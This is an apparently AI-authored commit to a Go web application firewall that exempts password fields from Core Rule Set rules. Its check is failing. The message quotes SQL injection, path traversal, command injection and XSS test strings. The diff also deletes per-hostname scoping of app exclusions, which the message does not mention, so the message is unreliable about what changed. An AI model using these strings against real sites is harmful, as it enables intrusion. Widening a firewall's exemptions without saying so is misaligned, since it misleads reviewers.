Author SHA1 Message Date
clawbot c0071a7e8c Core Rule Set: random passwords pass at sign-in (closes #276)
check / check (push) Failing after 7m54s
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5
2026-11-10 10:41:25 +00:00
24 changed files with 1318 additions and 1525 deletions

No files matched your search

+26 -27
View File
@@ -221,7 +221,7 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. | | `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
@@ -280,7 +280,6 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -582,31 +581,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
requests to a code forge through, such as git over HTTP and sign-in through requests get through to the apps listed below. No setting undoes the changes;
Git Credential Manager. No setting undoes the changes; "Attack detection" in "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
[`SPEC.md`](SPEC.md) lists them. - These apps work out of the box at the default settings, and their recorded
- Each supported app also has its own fixes, which let its ordinary requests ordinary requests pass the Core Rule Set:
through. Its recorded ordinary requests pass the Core Rule Set at the default - gitea: git over HTTP and sign-in through Git Credential Manager get
settings. The supported apps, by their names in `SWW_APPS`, are: through. On gitea's own paths, its searches, file names and branch names
- `gitea`, whose fixes let its searches, file names and branch names do too.
through; - WordPress: saving a post from the block editor gets through. On
- `wordpress`, whose fixes let through its searches, its names, its file WordPress's own paths, its searches, names and file names do too.
names and a post saved from the block editor; - Drupal: on Drupal's own paths, the page to return to, its searches and its
- `drupal`, whose fixes let through the page to return to, its searches and names get through.
its names; - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
- `mediawiki`, whose fixes let through its searches, its page titles, its wikitext get through.
names and its wikitext; - Mastodon: on Mastodon's own paths, its searches, names, email addresses,
- `mastodon`, whose fixes let through its searches, its names, its email posts and deliveries from other servers get through.
addresses, its posts and deliveries from other servers; - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
- `vaultwarden`, whose fixes let through its names, its password hints, its addresses and encrypted file names get through.
email addresses and its encrypted file names; - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods, WebDAV methods, searches, file names, account names, comments and
its searches, its file names, its account names, its comments and its documents do too.
documents. - A random password, as a password manager makes one, gets through these forms:
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own - signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
apps' fixes, and a hostname it does not list gets none. Unset, every app's - signing in, signing up, changing the password, and moving or deleting the
fixes apply to every hostname. account, on Mastodon.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths. fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
+430 -415
View File
File diff suppressed because it is too large. Load diff
-25
View File
@@ -255,31 +255,6 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads, a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form. yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`). `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+1 -92
View File
@@ -29,7 +29,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
) )
@@ -236,11 +235,6 @@ type Config struct {
WAFExemptPaths []string WAFExemptPaths []string
WAFBodyLimit int64 WAFBodyLimit int64
CoreRuleSetExclusionsFile string CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of // TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?. // attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string TrapPaths []string
@@ -410,11 +404,6 @@ var (
errNotTrapPath = errors.New( errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php", "is not a path starting with / and without a ?, such as /wp-login.php",
) )
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block") errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New( errNotRuleID = errors.New(
@@ -588,7 +577,6 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath( CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -844,25 +832,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes return prefixes
} }
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty // trapPaths reads the setting that is the list of trap paths. It is empty
// by default. // by default.
func (e *environment) trapPaths(name string) []string { func (e *environment) trapPaths(name string) []string {
@@ -1880,65 +1849,6 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil return paths, nil
} }
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to // rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID. // lastSetupRuleID.
@@ -2545,8 +2455,7 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest return masked + "." + rest
} }
// isZone reports whether each label of zone is as parseZones takes it. It // isZone reports whether each label of zone is as parseZones takes it.
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool { func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") { for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool { badChar := strings.ContainsFunc(label, func(char rune) bool {
-97
View File
@@ -89,7 +89,6 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS" trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL" logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -583,101 +582,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
} }
} }
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
`vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) { func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel() t.Parallel()
@@ -2685,7 +2589,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "", wafExemptPaths: "",
wafBodyLimit: off, wafBodyLimit: off,
exclusionsFile: "", exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "", trapPaths: "",
errorBurstThreshold: "30", errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
+123 -128
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww // body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings" // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// in SPEC.md describes them. It reads no response. // response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"io" "io"
"maps"
"net"
"net/http" "net/http"
"net/netip" "net/netip"
"os" "os"
@@ -34,8 +32,11 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// directives of every app in apps for the third. // giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// and nextcloudExclusions for the ninth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -83,28 +84,62 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The apps' fixes come before the rules for the same reason. # The eighth change comes before the rules for the same reason.
%s %s
# The fifth: only the rules for requests are loaded, and no response is # The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# And the fourteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or # The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case. # localhost. Coraza matches a parameter name here, and in the fourth,
# ARGS holds the fields of a form data or multipart body Coraza reads as # without regard to case. ARGS holds the fields of a form data or multipart
# well as the query parameters, so a field of this name is left out too. # body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments, # The fourth: the query parameters in which gitea sends names within a
# for Java starting a process, or for a Java class name. 944130 refused # repository or its own records, or a page of its own site, are not
# every page opened from the page of java.lang.String.md. # checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The sixth: a container image push that reuses a layer names the image # The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not # it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from # checked for command names. 932260 refused the push of a layer from
# owner/python3-app. # owner/python3-app.
@@ -154,61 +189,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// app is an app whose ordinary requests the Core Rule Set would refuse, // giteaExclusions are the eighth change: the fields of gitea's own
// with the fixes that let them pass. // requests that skip the rules that refused them there, as Coraza
type app struct { // directives.
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// //
//nolint:gochecknoglobals // a constant cannot be a map //go:embed gitea.conf
var apps = map[string]app{ var giteaExclusions string
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in // wordpressExclusions are the ninth change: the fields of WordPress's own
// alphabetical order. // requests that skip the rules that refused them there, as Coraza
func AppNames() []string { // directives.
return slices.Sorted(maps.Keys(apps)) //
} //go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
@@ -224,10 +259,6 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
} }
// The ids of sww's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
@@ -319,15 +350,13 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
apps map[string][]string
} }
// New returns the Core Rule Set with the six changes and the apps' fixes, // New returns the Core Rule Set with the fourteen changes, at params'
// at params' paranoia level, without the rules it switches off, reading // paranoia level, without the rules it switches off, reading request
// request bodies up to params' limit, and with params' exclusions file // bodies up to params' limit, and with params' exclusions file loaded
// loaded before the Core Rule Set's rules. An exclusions file is an error // before the Core Rule Set's rules. An exclusions file is an error if it
// if it cannot be read or does not parse, or if checkExclusions refuses // cannot be read or does not parse, or if checkExclusions refuses it.
// it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyLimit > 0 { if params.BodyLimit > 0 {
@@ -350,13 +379,10 @@ func New(params Params) (*CoreRuleSet, error) {
} }
} }
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String()) giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -374,9 +400,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{ return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -388,12 +412,11 @@ type Result struct {
Score int Score int
} }
// Inspect runs the Core Rule Set on r, a request from client, with the // Inspect runs the Core Rule Set on r, a request from client: on its
// fixes of the apps appsFor names for r's hostname: on its method, its URL // method, its URL with the query, and its headers, the Cookie header
// with the query, and its headers, the Cookie header without those apps' // without the cookies in cookiesNotRead, and on body, r's body as the
// cookies, and on body, r's body as the caller has it, as readBody reads // caller has it, as readBody reads it. It returns what it found, what it
// it. It returns what it found, what it read of body, and the error that // read of body, and the error that ended the reading early, if one did.
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
@@ -401,24 +424,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto) tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header { for name, values := range r.Header {
